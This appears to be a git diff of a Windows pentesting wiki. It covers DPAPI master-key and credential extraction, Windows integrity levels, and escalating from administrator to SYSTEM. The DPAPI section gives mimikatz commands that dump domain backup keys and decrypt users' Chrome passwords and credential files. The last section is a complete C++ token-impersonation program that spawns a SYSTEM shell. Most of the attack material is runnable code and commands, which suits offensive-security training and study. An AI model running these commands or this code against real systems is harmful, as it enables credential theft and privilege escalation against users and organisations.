Usually **each master keys is an encrypted symmetric key that can decrypt other content**. Therefore, **extracting** the **encrypted Master Key** is interesting in order to **decrypt** later that **other content** encrypted with it.
### Extract a master key
If you know the password of the user who the master key belongs to and you can access the master key file you can obtain the master key with mimikatz and a command like the following one:
```bash
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
```
![](../../.gitbook/assets/image%20%28356%29.png)
You can see in green the extracted master key.
### Extract all local Master Keys with Administrator
If you are administrator you can obtain the dpapi master keys using:
```text
sekurlsa::dpapi
```
![](../../.gitbook/assets/image%20%28355%29.png)
### Extract all backup Master Keys with Domain Admin
A domain admin may obtain the backup dpapi master keys that can be used to decrypt the encrypted keys:
```text
lsadump::backupkeys /system:dc01.offense.local /export
```
![](../../.gitbook/assets/image%20%28357%29.png)
Using the retrieved backup key, let's decrypt user's `spotless` master key:
```bash
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
```
![](../../.gitbook/assets/image%20%28359%29.png)
We can now decrypt user's `spotless` chrome secrets using their decrypted master key:
```text
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
```
![](../../.gitbook/assets/image%20%28358%29.png)
## Credential Files
The **credentials files protected by the master password** could be located in:
```text
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt:
```text
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
```
## Encrypting and Decrypting content
You can find an example of how to encrypt and decyrpt data with DAPI using mimikatz and C++ in [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
You can find an example on how to encrypt and decrypt data with DPAPI using C\# in [https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)
## References
* [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28\#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
* [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)

View File

@ -0,0 +1,97 @@
# Integrity Levels
## Integrity Levels
From Windows Vista, all **protected objects are labeled with an integrity level**. Most user and system files and registry keys on the system have a default label of “medium” integrity. The primary exception is a set of specific folders and files writeable by Internet Explorer 7 at Low integrity. **Most processes** run by **standard users** are labeled with **medium integrity** \(even the ones started by a user inside the administrators group\), and most **services** are labeled with **System integrity**. The root directory is protected by a high-integrity label.
Note that **a process with a lower integrity level cant write to an object with a higher integrity level.**
There are several levels of integrity:
* **Untrusted** processes that are logged on anonymously are automatically designated as Untrusted. _Example: Chrome_
* **Low** The Low integrity level is the level used by default for interaction with the Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files and processes associated with it are assigned the Low integrity level. Some folders, such as the **Temporary Internet Folder**, are also assigned the **Low integrity** level by default. However, note that a **low integrity process** is very **restricted**, it **cannot** write to the **registry** and its limited from writing to **most locations** in the current users profile. _Example: Internet Explorer or Microsoft Edge_
* **Medium** Medium is the context that **most objects will run in**. Standard users receive the Medium integrity level, and any object not explicitly designated with a lower or higher integrity level is Medium by default. Not that a user inside the Administrators group by default will use medium integrity levels.
* **High** **Administrators** are granted the High integrity level. This ensures that Administrators are capable of interacting with and modifying objects assigned Medium or Low integrity levels, but can also act on other objects with a High integrity level, which standard users can not do. _Example: "Run as Administrator"_
* **System** As the name implies, the System integrity level is reserved for the system. The Windows kernel and core services are granted the System integrity level. Being even higher than the High integrity level of Administrators protects these core functions from being affected or compromised even by Administrators. Example: Services
* **Installer** The Installer integrity level is a special case and is the highest of all integrity levels. By virtue of being equal to or higher than all other WIC integrity levels, objects assigned the Installer integrity level are also able to uninstall all other objects.
You can get the integrity level of a process using **Process Explorer** from **Sysinternals**, accessing the **properties** of the process and viewing the "**Security**" tab:
![](../../.gitbook/assets/image%20%28349%29.png)
You can also get your **current integrity level** using `whoami /groups`
![](../../.gitbook/assets/image%20%28350%29.png)
### Integrity Levels in File-system
A object inside the file-system may need an **minimum integrity level requirement** and if a process doesn't have this integrity process it won't be able to interact with it.
For example, lets **create a regular from a regular user console file and check the permissions**:
```text
echo asd >asd.txt
icacls asd.txt
asd.txt BUILTIN\Administrators:(I)(F)
DESKTOP-IDJHTKP\user:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\INTERACTIVE:(I)(M,DC)
NT AUTHORITY\SERVICE:(I)(M,DC)
NT AUTHORITY\BATCH:(I)(M,DC)
```
Now, lets assign a minimum integrity level of **High** to the file. This **must be done from a console** running as **administrator** as a **regular console** will be running in Medium Integrity level and **won't be allowed** to assign High Integrity level to an object:
```text
icacls asd.txt /setintegritylevel(oi)(ci) High
processed file: asd.txt
Successfully processed 1 files; Failed processing 0 files
C:\Users\Public>icacls asd.txt
asd.txt BUILTIN\Administrators:(I)(F)
DESKTOP-IDJHTKP\user:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\INTERACTIVE:(I)(M,DC)
NT AUTHORITY\SERVICE:(I)(M,DC)
NT AUTHORITY\BATCH:(I)(M,DC)
Mandatory Label\High Mandatory Level:(NW)
```
This is where things get interesting. You can see that the user `DESKTOP-IDJHTKP\user` has **FULL privileges** over the file \(indeed this was the user that created the file\), however, due to the minimum integrity level implemented he won't be able to modify the file anymore unless he is running inside a High Integrity Level \(note that he will be able to read it\):
```text
echo 1234 > asd.txt
Access is denied.
del asd.txt
C:\Users\Public\asd.txt
Access is denied.
```
{% hint style="info" %}
**Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.**
{% endhint %}
### Integrity Levels in Binaries
I made a copy of `cmd.exe` in `C:\Windows\System32\cmd-low.exe` and set it an **integrity level of low from an administrator console:**
```text
icacls C:\Windows\System32\cmd-low.exe
C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)
Mandatory Label\Low Mandatory Level:(NW)
```
Now, when I run `cmd-low.exe` it will **run under a low-integrity level** instead of a medium one:
![](../../.gitbook/assets/image%20%28351%29.png)
For curious people, if you assign high integrity level to a binary \(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`\) it won't run with high integrity level automatically \(if you invoke it from a medium integrity level --by default-- it will run under a medium integrity level\).
### Integrity Levels in Processes
Not all files and folders have a minimum integrity level, **but all processes are running under an integrity level**. And similar to what happened with the file-system, **if a process wants to write inside another process it must have at least the same integrity level**. This means that a process with low integrity level cant open a handle with full access to a process with medium integrity level.
Due to the restrictions commented in this and the previous section, from a security point of view, it's always **recommended to run a process in the lower level of integrity possible**.

View File

@ -2,6 +2,10 @@
## Tokens
If you **don't know what are Windows Access Tokens** read this page before continuing:
{% page-ref page="access-tokens.md" %}
**Maybe you could be able to escalate privileges abusing the tokens you already have**
### SeImpersonatePrivilege \(3.1.1\)

View File

@ -0,0 +1,179 @@
# SeImpersonate from High To System
### Code
The following code was copied from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.
Running in a High Integrity process you can **indicate the PID of a process running as System** \(like winlogon, wininit\) and execute a cmd.exe as system.
```cpp
impersonateuser.exe 1234
```
{% code title="impersonateuser.cpp" %}
```cpp
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
```
{% endcode %}
### Error
On some occasions you may try to impersonate System and it won't work showing an output like the following:
```cpp
[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326
```
This means that even if you are running on a High Integrity level **you don't have enough permissions**.
Let's check current Administrator permissions over `svchost.exe` processes with **processes explorer** \(or you can also use process hacker\):
1. Select a process of `svchost.exe`
2. Right Click --&gt; Properties
3. Inside "Security" Tab click in the bottom right the button "Permissions"
4. Click on "Advanced"
5. Select "Administrators" and click on "Edit"
6. Click on "Show advanced permissions"
![](../../.gitbook/assets/image%20%28353%29.png)
The previous image contains all the privileges that "Administrators" have over the selected process \(as you can see in case of `svchost.exe` they only have "Query" privileges\)
See the privileges "Administrators" have over `winlogon.exe`:
![](../../.gitbook/assets/image%20%28354%29.png)
Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.